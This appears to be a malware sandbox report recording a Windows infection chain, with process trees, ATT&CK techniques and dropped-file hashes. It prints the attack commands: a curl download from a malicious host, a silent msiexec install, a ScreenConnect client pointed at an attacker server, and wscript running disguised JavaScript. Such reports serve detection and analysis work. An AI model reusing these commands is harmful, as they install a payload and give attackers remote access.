    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,2402751954142164676,3009902123978710844,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=6380 /prefetch:14
    3⤵
    PID:5720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5508,i,5323787936414847076,5248622465008798986,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:14
    3⤵
    PID:2748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5492,i,3174300301355474186,4054413076549278023,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=6832 /prefetch:14
    3⤵
    PID:2092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6776,i,11706115782763335048,4971279010526759624,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=6792 /prefetch:14
    3⤵
    PID:2516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5568,i,10142876981982478582,857736128356394359,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=6684 /prefetch:14
    3⤵
    PID:3380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6428,i,14487922161610935800,13553225030353853444,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=5048 /prefetch:14
    3⤵
    PID:4824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,3432246211080538385,2723105129473699088,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=5064 /prefetch:14
    3⤵
    PID:1676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6484,i,3437701966800016446,13578680692345574184,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=4376 /prefetch:14
    3⤵
    PID:3324
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6488,i,6936544695584762561,14285399603305482465,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:14
    3⤵
    PID:3280
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6148,i,12671425403461800188,7106510655654813320,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=6096 /prefetch:14
    3⤵
    PID:4924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7124,i,925996064235728448,9756526470867609060,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:14
    3⤵
    PID:1680
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4928,i,15814037661154126371,6007913850635890589,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
    3⤵
    PID:5612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5936,i,1013331511264349556,3477269197614676315,262144 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=6128 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1196,i,13222344845634149174,5400641735503139848,524288 --field-trial-handle=2488,i,17857233908864385834,5744177371871432474,262144 --variations-seed-version --mojo-platform-channel-handle=6280 /prefetch:14
    3⤵
    PID:5988
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -s -L -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0" -o "C:\Users\Admin\AppData\Local\Temp\diag_1ed02e_.bin" "https://conlive.icu/rmmm/?action=component&xk=109d67647237a71c8e47efa161453413&hp=112&tp=116"
  2⤵
  PID:4560
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /a "C:\Users\Admin\AppData\Local\Temp\diag_1ed02e.bin" /qn TARGETDIR="C:\Users\Admin\AppData\Local\Programs"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5756
- C:\Users\Admin\AppData\Local\Programs\ScreenConnect Client (7b0d477202e9b4b3)\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Programs\ScreenConnect Client (7b0d477202e9b4b3)\ScreenConnect.WindowsClient.exe" "?e=Access&y=Guest&h=babytherockit.top&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQDZ3cm%2f6vN3FyXG3RYqftyFx1mIU202nbytkfbaqbgulO8U52noYHRvd2A8HAYqyosUc7gcF114PcQQB%2fkKh8qH1GSF36Zs%2bKJZqHNvDYPnCLJ0jyli0QdBxdB2YCECJB1%2bhDrofNV35ykcFgit7jJbGUBhtoqw%2be7cr30tS7ibDNyGQPAjagfuGXJItZwy2FIbEn2%2fUrXfJF8myUtK0UIEXGq3oR9CskYJA1BFFrlC8uRxd0EoByRBum4YjjJTCI%2bsX2mHAIzAo3qkOdpas0T3a476xY3AxgFb0QUVBGemesmRB3drGDXa5dUeCegqlGhQXxGzAuKounq7WSAIquWm&c=GBEWA&c=GBEWA.COM&c=&c=&c=&c=&c=&c=&s=e9f61d9e-c639-4fbc-a397-ba39dfb1f0ee"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  PID:3444

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4048

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3416

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1220

C:\Windows\system32\wscript.exe
"wscript.exe" EdgeWebViewSync_b92c3273.js
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:4560

C:\Windows\system32\wscript.exe
"wscript.exe" OneDriveStandaloneSync_b92c3273.js
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:1368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59b407.rbs

Path C:\Config.Msi\e59b407.rbs
Size 2KB
SHA256 2b0177a2b1b0799d3b42f2e187b20916653a111fe2b733e06e495125c8ca4749
MD5 ac5177353f62d1918ad0aa73801d6440
SHA1 eeb70addfbb78abf913c2b2b32e0602edfa8edcd
SHA512 42f523668e6900c031ad743c3065798cc012f414eca85deb93f9595f399cebc3112a543556dd038e5fded5db8a623e8d7face04b2b226a643518cc747f38dca2
TLSH
T13751FB1235CC60B8538B4927AB73C90C6CB56CF43B4A358BA1CA523E9552B4F97FC6C2
MD5 SHA1 SHA512 TLSH

Submit Download

EdgeWebViewSync_b92c3273.js

Path C:\Users\Admin\AppData\Local\DiagnosticsCache\WebViewSync\EdgeWebViewSync_b92c3273.js
Size 39KB
SHA256 0c7cd3547f77c437aa8224b88cc7d260084bb477979bd45b8b0f34c1da8c7362
MD5 630b673d68dcf6d307b0ee77eeac05fe
SHA1 3e0056ec051b762e643ae0bafe47b85d5f6f7ead
SHA512 9e50e426d91f90c834a117a303785b4956030a1cbbf0bc84a901f909e6f49b1b9716d1fc7488cd4bc07cb60712364ec53c0cdc213a50053a841e1fc7aa716689
SSDEEP 384:mAabSc8dAm2ohFzQaIyzFxcuGmal3hzUzMoJDeqtHWfEv6xIvZzpmUnPx+kgTiy5:mqhYhzYHiS6xI3EZt3CBZsd
TLSH
T1E303A6574924127BD0732929CBBE2539EAB676E30B0195D5B47D2AC23F31E20039DDBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b92c3273_webview_state.dat

Path C:\Users\Admin\AppData\Local\DiagnosticsCache\WebViewSync\b92c3273_webview_state.dat
Size 12.8MB
SHA256 cbea28737f1d73294c53cc73071689af954d48e1229b8afd1e0f645a3af75806
MD5 2a266e6caa5664592b7b8f95275f47ba
SHA1 863058ce69b10df92fe68e82582417a26a2a0d66
SHA512 4d71577bb47c540c56ccb8a098023352c93ec44645cdabe4a6632ffcdcbe31d97e5a963785b335d2db8af0cc554a7cf0c54fd7a7c1bf01ad7b5569de71eee5d7
SSDEEP 196608:CB4Rp9N8xnUKTCSMy9KnEfQQc9CI1xw678vfZ8MFvrlfd8NOa1Nsez0WsLEP:XpP8xnDX9TYee/KrfaOMNeWsoP
TLSH
T147D63324CB35A302FD046C85E68E023E50BA638B49A6675F596177FDCCE1F72C364E4A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3fe67f20-e6aa-4187-ada6-4833a3aec451.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\3fe67f20-e6aa-4187-ada6-4833a3aec451.tmp
Size 34KB
SHA256 75f106f85390014c00bba6030505b347fab1bc9a2aa506f6f67f8d753b221954
MD5 60cdc887ca3aba17a677de3b1ddedf4d
SHA1 5ea17c42e3575218bd9125faaf85b0a72010bb30
SHA512 292624bb88a1bb8129201495d4483df24d2b322affbf1d35335437e336533d76c7f1b8e39cb47cc3a668b9c79c0591b29312bfdbb31ba1a014c82f937892ffba
SSDEEP 768:ns3XNqK3ONtao1h3Yogkl5akl8pbHW0AWDHoaTZcvLI:ns3Xto1h3Yog05akl4bHW0AK9+c
TLSH
T149F2BF30B866AE338E9AE245B11B2647FFF491679DC44AC4D5DDDA0D018B2AD174FC23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

471e6103-7625-466c-971f-73dcf7145c88.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\471e6103-7625-466c-971f-73dcf7145c88.tmp
Size 37KB
SHA256 8546fa0bd60f75b924ca88b33cea3a2adcfa9760b3bfd9acd6bc011f6010dbef
MD5 c92a2ef890016dafa165323ea3a5abbe
SHA1 70aeaa4b59279c7c1c82247d56d224063fe0cdab
SHA512 c4e5c0fb77b4868ce0b81ef4e94b9b1f02bcfdc823572204a4325a735c8286b469f9dcfdc3d9cc6671b2ef6af519336bb229f4d17d70857055014ec3dfe04198
SSDEEP 768:2FdD3DwgbNne3ONtam1h3Yogkl5akl8pbHW0AWDHoaTZcvLI:GD31Cm1h3Yog05akl4bHW0AK9+c
TLSH
T10B039D35E8A5DE3B9EE69781B31A7647EFE051678AC889C4D9CD9D0D00C72EE074BC12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

66f31f56-8e08-4fa2-ad4c-60d3cde85c75.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\66f31f56-8e08-4fa2-ad4c-60d3cde85c75.tmp
Size 37KB
SHA256 7bd8fb64022e9767ab83b582fb216edd1df0c86a66215cd500ac2cb4a23f98ea
MD5 d5d4d86df2225fb65c4744689624bab0
SHA1 d2571a0daec47cfcfbfdf9b14abac3dc8ddb4d94
SHA512 2629675ee430409f4f416a9bbd671ca000aacfb1901bcefbca6a05c55e6ac67a956ff91984e359f9660242e998bd0c824d6a7c695f6667862ca40276dd2129e3
SSDEEP 768:B/UxvxjgC+CZ3/FK3ONtaN1h3Yogkl5akl8pbHW0AWT5SHvP0Vv:UZj3+I3qN1h3Yog05akl4bHW0AsSCv
TLSH
T11803BF39EC65AE778DE6A244761AA317FFF494635AC456D445ECAF0E028B3BC030B853
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

869f4f32-8809-4878-b13c-d1e4df73b87c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\869f4f32-8809-4878-b13c-d1e4df73b87c.tmp
Size 38KB
SHA256 6cfa39a56f569412d12ea2ac2687dd27ca88e6eac51926f3d40c015e6d67d095
MD5 56506a73e0751769c56659bd58f50eae
SHA1 5d89e578a2d4b1fd60c20e3e1a38546c253e2585
SHA512 eaa8243a18169b35cfef690060c901fe201a6504220c8e26a274788fe3524ec0c991caf2b2bad6afd3eeb8647f96d7a1479d2ddb22613bd96e903c3825d73bb5
SSDEEP 768:q/UxvxjgC+CZ3X8K3ONtaH1h3Yogkl5akl8pbHW0AWiHSHvP0Vv:vZj3+I3pH1h3Yog05akl4bHW0AtSCv
TLSH
T13C03BF35BC65AE338AEAA244751BA347FFF4947399C45AD585EC9B0E02873BD070B813
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.12\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e1837ee53009f9b691f7aee3be45ffb945d4894bf04ccaf875b9947114bb5224
MD5 58ba31abb4a3fd3bbc9aadea4fc9ca13
SHA1 d79c4b2ccee6dadb45162ea34fb988911510f0b8
SHA512 0c096d7f5d364e0911d26f4bc2ea03e3d81b2026be5182b04fc17e7949640761db8056138b55b28aa9abe884d601d2cf6b1be9e992fd3565c35c69def459d32a
TLSH
T1F3D02B3579ACD772C18C503A405901112A95F001FD46C1801953B10848913400006295
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 0a1e646beadfff70af6a1dc73b6baa41188262ddbb2b7781270d4e94c92c02be
MD5 893220bb58a1416480d52375128fa19a
SHA1 3a577208211e9133f3744d9ba695501b0481ca9b
SHA512 b3f0e3d85398f7aa7fcea74cd44fd2709c0265d9072771dccfe7508832bc1173f452a0f49028e8bd62ea434676abcdf4a111c8e31f121871fbdfa4acf207b131
TLSH
T1C2D02B3179BCD772C18C503E405A01112A85F001FD46C1801A53F10848913400005281
MD5 SHA1 SHA512 TLSH

Submit Download

039d0972-91a2-461f-9550-ac86a6e24843.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\039d0972-91a2-461f-9550-ac86a6e24843.tmp
Size 11KB
SHA256 582d52c93a02909ba98bde1a293f7ae26f0a3f2a4846f5b5874b3a7c8ced7194
MD5 816d0828da4efc9e9d1b014d0f5aa756
SHA1 9858c4972148937cc540ae4aec79abd2ce33948a
SHA512 a87b22b3810e71c74d826a71aa90a8882d3e04fbcf72b6ae5f9d5380e588a5b30b99e362b1e4a1e753a9f5c68bacd1844da21d794ff92ed91b61dcf82a9795e1
SSDEEP 192:sxRy6RBCT/fuEs6qmBEzoA8p24/g6+WNbB3b/Yd9JOwLcGJvIgV79MJ:sxR/qT/f1s6HBlv/5V/eOy4
TLSH
T17D42A815AD28A93B5CCBE25DFA567F63E2FD1032A1915F44F6FC861C04EA6DD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

11d08f8d-51c1-470a-82a5-bda29eacb4ad.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\11d08f8d-51c1-470a-82a5-bda29eacb4ad.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4500a80a-595f-449d-aa39-07fc93f1249a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\4500a80a-595f-449d-aa39-07fc93f1249a.tmp
Size 12KB
SHA256 00c4ad7a1b8b1f5086a0405d5d6d7c75694924a10933afc44c6706313ec7cc90
MD5 ac85dbb21a60ce6d7dff7f139cf7a3a4
SHA1 54181cfae7d8646874535e1f44aba9bd9c49a16f
SHA512 e4bf37d0b3c7ee8cb84f8f108a8a0f88c592d06841d2c37b1cdc7127671397de6b480d93bc3cda711af729b25f2f83fefe861b711a8f7f1737ed25838d9d5d74
SSDEEP 192:sxR56RBCT/fuEsP0ZbU80zoA8p24/g6+WNbB3b/Yd9JOwLcGJvIgD5O9xHJ:sxR0qT/f1sPKA8Vv/5V/eOyQp
TLSH
T1F742B815AE34A93B9CCBE25DFA557F53E6FD1032A0911E44F6FC861C04EA6DD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

650de8e2-ad02-4ea7-9ff5-6ea13e04cd77.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\650de8e2-ad02-4ea7-9ff5-6ea13e04cd77.tmp
Size 12KB
SHA256 30f548de29e1a517da7082db9621408d0be4470b3a02eecf5c399b58ddeaf44f
MD5 2480deffc07042edd2f45e0e900c15d2
SHA1 5c56de4ede09cdc3cec3c39a8ab9f05cbd5d3d56
SHA512 be4a717879c54db1a0480adab058c60f1d1b33024be20cbf6f553cbe19e6b7123ad7f44b6665ec4e9f019f167e027c9cdc6dbe99bb9c3b20dcd7d5427086198c
SSDEEP 192:sxR56RBCT/fuEsd0ZbU80zoA8p24/g6+WNbB3b/YdzjOwLcGJvIgDTO9xHJ:sxR0qT/f1sdKA8Vv/5V/IOyOp
TLSH
T1B842B815AE34693B9CCBE25DFA567F53E2FD5032A0911F44E6FC8A1C04EA6DD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

90977584-229a-4128-8060-f1b108a630ff.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\90977584-229a-4128-8060-f1b108a630ff.tmp
Size 27KB
SHA256 5bd98cee986713b3e836563095d85c6cb35e8a02eccd39cc0a12a90aef26c230
MD5 89bb047215fbb5a21f37a793a4a4dba0
SHA1 39ae5cd81716c60fa84d90bb6c742511632b6b52
SHA512 81b84def21cdf3915975e3f53cd4382d8223676df5d836582fcf50fe66f95b9492854c22765e40239b4afb522f10b593cd6b0bf31951dd55f276a94d21e468ca
SSDEEP 768:qF+z2U7pLuLb9oWgU6f8S8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPIGUtro2d:qF+z2YEb9oWgU6f8Su1jasxUGO
TLSH
T1B6C2DA7B740CCB7F4F900ADD98197E9B6DA802CB9698CD4047FE945C02C6BEE62164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 1ddba92a53d571322feb81f03682be1181766e649cad948c2576845dca148e2f
MD5 6521cfa2bd55cc013daf8a317fc4e402
SHA1 c6fa90d280e18ad6a8b14ee7c416dd870826758d
SHA512 c69c602e6206b9413af76f0dd3168711d237bfba744405a0ee00342f1a237c5a503978aac0e19754433954e0b1e809f15ace215eab1538cebcc76465d3e0488a
TLSH
T1FD81EA6142788147E3533A3036F9195535BFBC9C8EC34F1DD266DBBACA3A371A4C2048
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 7386511a24a976a6fbf13467aa6a2641138e832cb26e47db081078b425f9b7ef
MD5 7e603269797df8faf4ab1a6c41f7ec77
SHA1 85e8eeefa06a8add5ff5addaa0c8cb9ad527ef26
SHA512 0e3eca8fc6273b5fa47201cd89e0544b4a25a6d61c54dc9273cc5cd6262fbd0aec9899682617a1bffaeb28a605ccf4c991eb9503a796743412f4631371744962
TLSH
T14E71A8A042308146E3533A7476F9596631BFBC8CDEC35E1DD267DBBADA3933099C2058
MD5 SHA1 SHA512 TLSH

Submit Download

748eac29-091d-400a-9661-bf8408c76bee.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\748eac29-091d-400a-9661-bf8408c76bee.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

dasherSettingSchema.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.111.1_0\dasherSettingSchema.json
Size 854B
SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
MD5 4ec1df2da46182103d2ffc3b92d20ca5
SHA1 fb9d1ba3710cf31a87165317c6edc110e98994ce
SHA512 939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d
TLSH
T1B1014C25C354799B04C7627ABCA95001E630818B027665707DDE4D7C6F2E8A700BF37E
MD5 SHA1 SHA512 TLSH

Submit Download

38cb1034-df9d-47a8-8f7b-cf527b03ccc5.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\38cb1034-df9d-47a8-8f7b-cf527b03ccc5.tmp
Size 2KB
SHA256 3b58241fa9da27eb30391fed66a5d22081d6229f753aee5ede0d776fd2950cac
MD5 0e3add851b8dc172139eaf1b51ae07eb
SHA1 9614315862e01c341b66b810590359b22e840cb1
SHA512 93b89e345d094048c53a68eca5b68cc4c8acc0543a809aa91794541a694815949d62291c7ae7297a149e5d75ded048768c44c4191324990b9a38fa153270c7a3
TLSH
T13951ACF383E5856D891156F0BB146E2FCE1D0915832C7C5A89E4AE2B93E3472E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

a0f691d2-0a66-4abf-a4c7-fbeb48f5120b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\a0f691d2-0a66-4abf-a4c7-fbeb48f5120b.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

d5adb622-997b-43be-8d11-bb2f6b94f174.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\d5adb622-997b-43be-8d11-bb2f6b94f174.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

0215725e-4b70-41c6-a13e-2e475de154e3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\0215725e-4b70-41c6-a13e-2e475de154e3.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
